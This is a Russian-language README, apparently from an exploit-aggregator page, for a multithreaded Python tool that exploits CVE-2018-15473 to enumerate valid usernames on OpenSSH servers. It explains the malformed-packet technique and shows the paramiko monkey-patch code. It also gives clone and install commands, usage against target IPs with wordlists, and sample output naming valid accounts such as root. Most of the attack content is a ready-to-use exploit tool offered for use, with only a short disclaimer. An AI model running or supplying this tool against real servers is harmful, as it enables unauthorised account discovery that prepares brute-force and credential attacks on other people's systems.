## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-K3RN3L-32-THREADED-CVE-2018-15473
# CVE-2018-15473 — Инструмент перебора имен пользователей SSH
> Репликация на Python 3 классического эксплойта перечисления пользователей OpenSSH CVE-2018-15473, расширенная многопоточностью, поддержкой wordlist, автоматическим обнаружением уязвимости и потокобезопасным патчем эксплойта.
* * *
## Содержание
* Об уязвимости
* Как работает эксплойт
* Возможности
* Требования
* Установка
* Использование
* Примеры
* Авторы и оригинальное исследование
* Отказ от ответственности
* * *
## Об уязвимости
**CVE-2018-15473** — это уязвимость перечисления пользователей, затрагивающая версии OpenSSH **с 2.3 по 7.7**.
Уязвимость возникает из-за тонкой разницы в том, как сервер OpenSSH реагирует на попытки аутентификации для **существующих** и **несуществующих** имен пользователей. Отправляя некорректный пакет аутентификации с открытым ключом, злоумышленник может наблюдать за поведением сервера и определить, существует ли данное имя пользователя в системе — без необходимости знать пароль пользователя.
Эта информация может стать важным первым шагом в целенаправленной атаке методом перебора или подбора учётных данных.
Деталь| Значение
---|---
CVE ID| CVE-2018-15473
Затронутые версии| OpenSSH 2.3 – 7.7
Оценка CVSS| 5.3 (Средний)
* * *
## Как работает эксплойт
Обычно процесс аутентификации OpenSSH выглядит так:
root@kitploit:~
Client → MSG_SERVICE_REQUEST → Server
Client ← MSG_SERVICE_ACCEPT ← Server
Client → MSG_USERAUTH_REQUEST → Server
Client ← MSG_USERAUTH_FAILURE or MSG_USERAUTH_SUCCESS ← Server
Эксплойт злоупотребляет стадией `MSG_SERVICE_ACCEPT`. Когда сервер отправляет обратно `MSG_SERVICE_ACCEPT`, клиент должен добавить логическое поле в последующий пакет `MSG_USERAUTH_REQUEST`. **Заменив метод`Message.add_boolean` в paramiko на пустую операцию**, инструмент отправляет **некорректный/усечённый пакет аутентификации**.
Сервер OpenSSH ведёт себя по-разному в зависимости от того, существует ли имя пользователя:
* **Несуществующее имя** → Сервер немедленно отклоняет запрос с `MSG_USERAUTH_FAILURE` (имя не существует, нет смысла проверять ключ)
* **Существующее имя** → Сервер вызывает исключение `AuthenticationException` (он попытался проверить ключ, подтверждая, что пользователь существует)
Этот инструмент перехватывает эти два ответа через модифицированные обработчики paramiko (`_parse_userauth_failure` и `_parse_service_accept`) и классифицирует каждое имя пользователя соответствующим образом.
### Исправление потокобезопасности
Оригинальный PoC патчит `add_boolean` **навсегда** , что вызывает состояние гонки при одновременной работе нескольких потоков — потоки мешают друг другу, создавая ложные ошибки `SSH negotiation failed`. В этой реаллизации патч обёрнут в `threading.Lock()`, что делает замену атомарной:
root@kitploit:~
with _patch_lock:
real_add_boolean = paramiko.message.Message.add_boolean
paramiko.message.Message.add_boolean = _add_boolean_noop
try:
result = original_service_accept(auth_handler, m)
finally:
paramiko.message.Message.add_boolean = real_add_boolean
* * *
## Возможности
* **Проверка одного имени пользователя** — быстрый одноразовый режим
* **Режим wordlist** — перечисление полного списка имён пользователей
* **Многопоточность** — настраиваемое количество потоков, всё потокобезопасно
* **Автоматическое обнаружение уязвимости** — использует `nmap` для проверки, запущена ли на цели уязвимая версия OpenSSH перед сканированием
* **Дедупликация** — автоматически удаляет дубликаты имён пользователей из wordlist
* **Чистый вывод** — цветные результаты с итоговым отчётом
* * *
## Требования
* Python 3.8+
* `paramiko`
* `python-nmap`
* `nmap` (системный бинарный файл, должен быть установлен)
* * *
## Установка
root@kitploit:~
git clone https://github.com/K3rn3l-32/Threaded-CVE-2018-15473.git
cd CVE-2018-15473
# Создайте и активируйте виртуальное окружение (рекомендуется)
python3 -m venv venv
source venv/bin/activate
# Установите зависимости
pip install paramiko python-nmap
Убедитесь, что `nmap` установлен в системе:
root@kitploit:~
# Debian/Ubuntu/Kali
sudo apt install nmap
* * *
## Использование
root@kitploit:~
usage: main.py [-h] [-p PORT] [-t THREADS] (-u USERNAME | -U WORDLIST) target
positional arguments:
target Target IP address
options:
-h, --help show this help message and exit
-p, --port PORT SSH port (default: 22)
-t, --threads THREADS Threads for wordlist mode (default: 3)
-u USERNAME Single username to check
-U WORDLIST Path to wordlist file
* * *
## Примеры
**Проверка одного имени пользователя:**
root@kitploit:~
python main.py 192.168.1.10 -u root
**Перечисление wordlist с потоками по умолчанию:**
root@kitploit:~
python main.py 192.168.1.10 -U /usr/share/wordlists/users.txt
**Перечисление с пользовательским количеством потоков и портом:**
root@kitploit:~
python main.py 192.168.1.10 -U users.txt -t 10 -p 2222
**Пример вывода:**
root@kitploit:~
[*] Scanning 192.168.56.109:22 ...
[*] Target running OpenSSH version: 4.7
[+] Target is VULNERABLE to CVE-2018-15473
[*] Loaded : 12 usernames (0 duplicate(s) removed → 12 unique)
[*] Target : 192.168.56.109:22
[*] Threads : 10
[+] root <- VALID
[+] service <- VALID
[-] guest
[-] admin
...
─────────────────────────────────────────────
[*] Scan complete in 3.87s
[*] Checked : 12 usernames
[*] Threads : 10
[+] Valid (2) : ['root', 'service']
[-] Invalid (8)
[!] Errors (2) : ['postgres', 'temp']
* * *
## Авторы и оригинальное исследование
Этот инструмент представляет собой реаллизацию на Python 3 и расширение оригинального доказательства концепции эксплойта. Полная заслуга в обнаружении и документировании этой уязвимости принадлежит оригинальным исследователям:
Оригинальный эксплойт: https://leapsecurity.io
Эта реаллизация добавляет:
* Совместимость с Python 3 (оригинал был на Python 2)
* Потокобезопасный патч эксплойта (исправление состояния гонки)
* Режим wordlist с многопоточностью
* Автоматическое обнаружение уязвимости на основе nmap
* Структурированный отчёт результатов
* * *
## Отказ от ответственности
> Этот инструмент предназначен **только для образовательных целей и авторизованного тестирования на проникновение**.
> Использование этого инструмента против систем, которыми вы не владеете или на тестирование которых у вас нет явного письменного разрешения, **является незаконным** и **неэтичным**.
> Автор не несёт ответственности за любое неправильное использование данного программного обеспечения.
> Всегда практикуйте ответственное раскрытие информации.